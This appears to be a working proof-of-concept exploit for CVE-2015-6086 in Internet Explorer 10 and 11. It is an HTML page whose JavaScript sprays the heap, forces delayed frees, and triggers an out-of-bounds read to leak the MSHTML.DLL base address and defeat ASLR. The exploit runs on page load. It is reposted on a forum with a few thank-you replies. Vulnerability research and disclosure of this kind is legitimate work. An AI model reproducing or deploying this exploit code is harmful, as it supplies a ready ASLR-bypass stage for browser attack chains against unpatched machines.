MS15-112 IE9/10/11
CVE: 2015-6086<!--
CVE-2015-6086
Out Of Bound Read Vulnerability
Address Space Layout Randomization (ASLR) Bypass
Improper handling of new line and white space character caused
Out of Bound Read in CDOMStringDataList::InitFromString. This
flaw can be used to leak the base address of MSHTML.DLL and
effectively bypass Address Space Layout Randomization.
Affected Version:
Internet Explorer 9
Internet Explorer 10
Internet Explorer 11
Test Bed:
IE: 10 & 11
KB: KB3087038
OS: Windows 7 SP1 x86
Advisory:
http://www.payatu.com/advisory-ie_cdomstringdatalist/
https://technet.microsoft.com/library/security/MS15-112
http://www.zerodayinitiative.com/advisories/ZDI-15-547/
Copyright 2016 © Payatu Technologies Pvt. Ltd.
Author: Ashfaq Ansari
Email: ashfaqpayatucom
Websites: www.payatu.com
www.nullcon.net
www.hardwear.io
www.null.co.in
This program is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation, either version 3 of the License, or (at your
option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
this program. If not, see <http://www.gnu.org/licenses/>.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
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-->
<!DOCTYPE html>
<html>
<head>
<title>IE 10-11 Windows 7 SP1 x86 - OOB Read ALSR Bypass PoC</title>
<meta http-equiv="pragma" content="no-cache"/>
<meta http-equiv="expires" content="0"/>
<script type="text/javascript">
/**
* This function is used to create string of desired size.
*
* @param character
* @param size
* @returns {string}
*/
function createString(character, size) {
while (character.length < size) {
character += character;
}
// BSTR structure
// header | unicode string | NULL terminator
// 4 bytes | sizeof(string) * 2 | 2 bytes
return character.substr(0, (size - 6) / 2);
}
/**
* This function is used to get the Internet Explorer's version.
*
* @link http://stackoverflow.com/questions/19999388/jquery-check-if-user-is-using-ie
* @returns {int | null}
*/
function getInternetExplorerVersion() {
var userAgent = window.navigator.userAgent;
var msie = userAgent.indexOf('MSIE');
if (msie > 0) {
return parseInt(userAgent.substring(msie + 5, userAgent.indexOf('.', msie)), 10);
}
var trident = userAgent.indexOf('Trident/');
if (trident > 0) {
var rv = userAgent.indexOf('rv:');
return parseInt(userAgent.substring(rv + 3, userAgent.indexOf('.', rv)), 10);
}
var edge = userAgent.indexOf('Edge/');
if (edge > 0) {
return parseInt(userAgent.substring(edge + 5, userAgent.indexOf('.', edge)), 10);
}
return null;
}
/**
* This function is used to leak the base address of MSHTML.DLL.
*
* @param offsetOfMSHTMLBaseAddress
*/
function LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress) {
// Step 1: Let's do some clean up
CollectGarbage();
var eventArray = new Array();
var polyLineArray = new Array();
var exploitSuccessful = false;
// Step 2: As the target object is stored in Process Heap
// instead of Isolated Heap, we can use any element that
// is stored on Process Heap to spray the Heap.
//
// To create a predictable pattern on Heap, we spray using
// "MsGestureEvent" and it's size is 0x0A0. We will use
// this object to read the VFTable pointer.
for (var i = 0; i < 0x1000; i++) {
eventArray = document.createEvent('MsGestureEvent');
}
// Step 3: Now we need to create a hole in the allocation
// that we made earlier. The purpose of this hole is to
// allocate the vulnerable buffer just before the Heap
// chunk of "MsGestureEvent"
for (i = 1; i < 0x500; i += 2) {
eventArray = null;
}
// Step 4: As Memory Protector is enabled by default on all
// versions of IE, it will not allow the free of objects
// instantly. So, we need to force free the memory due to
// Delayed Frees.
CollectGarbage2();
// Step 5: Now, fill the hole that we created earlier. The
// "requiredFeatures" property is allocated on OLEAUT32 Cache
// Heap, old Plunger technique does not seems to work for me.
// I have used a neat trick to bypass OLEAUT32 Cache Heap.
for (i = 0; i < 0x250; i++) {
polyLineArray = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
// Step 6: Trick to bypass allocation on OLEAUT32 Cached Heap
polyLineArray.setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));
// Step 7: Now, "requiredFeatures" property won't be allocated on OLEAUT32 Cache Heap.
polyLineArray.setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));
// Step 8: As the whole exploitation depends on certain Heap
// layout, thus, this is unreliable. But to overcome this
// un-reliability, I'm reloading the page until, right Heap
// Layout is achieved.
//
// This PoC is created for the vendor to acknowledge this bug,
// hence reliability is not my concern at this moment. We can
// make it more reliable, but let's leave it for later stage.
//
// Some heuristics to detect if Heap is in the right state.
// Once we have determined the Heap state, we can apply some
// more heuristics.
if (polyLineArray.requiredFeatures.numberOfItems == 2 && polyLineArray.requiredFeatures.getItem(1).length == 4) {
// Step 9: Read the Out of Bound memory
var OOBReadMemory = escape(polyLineArray.requiredFeatures.getItem(1));
// Step 10: Some more heuristics
var spitValue = OOBReadMemory.split('%');
var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue.replace('u', '') + spitValue.replace('u', ''));
var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;
// Step 11: Show the message to user
var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
message += '\n';
message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
alert(message);
// Step 12: Exploit successful
exploitSuccessful = true;
break;
}
}
// Step 13: As stated earlier, this is a bit unreliable.
// If the exploit has failed, reload the current page.
// If reloading does not help, close the browser and
// launch the exploit multiple times.
if (!exploitSuccessful) {
window.location.reload();
}
}
/**
* This function is used fill the wait list of the freed objects
* and trigger Garbage Collection.
*/
function CollectGarbage2() {
// Microsoft implemented Memory Protector to mitigate
// Use after Free vulnerabilities. The object protected
// by Memory Protector won't be freed directly. Instead,
// it will be put into a wait list which will be freed
// when it reaches certain threshold (i.e 100,000 bytes).
var video = new Array();
// Now allocate video element (400 bytes) 250 times
//
// Note: We are not using stack to store the references.
// If we use stack to store the references, the memory
// will never be freed during Mark and Reclaim operation
for (var i = 0; i < 250; i++) {
video = document.createElement('video');
}
// Now free the elements. It will be put into the wait list.
video = null;
// Reclaim the memory by triggering Garbage Collection
CollectGarbage();
}
/**
* This function is used to launch the exploitation by leaking
* the base address of MSHTML.DLL.
*/
function LaunchExploit() {
var browserSupported = false;
var ieVersion = getInternetExplorerVersion();
var offsetOfMSHTMLBaseAddress = null;
if (ieVersion == 11) {
// If you are getting a wrong base address, please update this value
// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
offsetOfMSHTMLBaseAddress = 0x0002ebe8;
browserSupported = true;
} else if (ieVersion == 10) {
// If you are getting a wrong base address, please update this value
// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
offsetOfMSHTMLBaseAddress = 0x0000d270;
browserSupported = true;
} else {
alert('Current browser is not supported!\nExploit Tested on IE10 & 11 (Windows 7 SP1 x86)');
}
// Launch the exploit
if (browserSupported) {
LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress);
}
}
</script>
</head>
<body onload='LaunchExploit();'>
</body>
</html> 谢谢楼主的分享 支持中国红客联盟(ihonker.org) 谢谢楼主的分享 支持中国红客联盟(ihonker.org) 谢谢楼主的分享 我是来水经验的……